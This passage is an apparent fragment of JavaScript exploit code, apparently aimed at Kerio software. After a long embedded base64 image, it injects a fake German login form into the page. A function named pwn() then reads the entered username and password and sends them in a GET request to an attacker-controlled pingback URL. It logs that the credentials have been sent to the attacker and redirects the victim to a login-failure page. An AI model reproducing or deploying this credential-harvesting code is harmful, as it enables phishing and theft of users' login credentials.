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") repeat scroll 5px 5px;';q.appendChild(y);console.log('running exploit...');var z='Anmelden
';document.getElementById('ximporter').innerHTML=z;function exitter(){document.location.href='/login/?reason=failure&NTLM=0';}function pwn(){var user=document.getElementById('username').value; var pass=document.getElementById('password').value; var http=new XMLHttpRequest(); http.onreadystatechange=function(){if (this.readyState==4 && this.status==200){console.log('exploit done, credentials have been sent to attacker.');}}; http.open("GET", pingbackURL+"/kerio_exploit/user="+user+"&pass="+pass, true); http.send(); window.setTimeout(exitter,750);}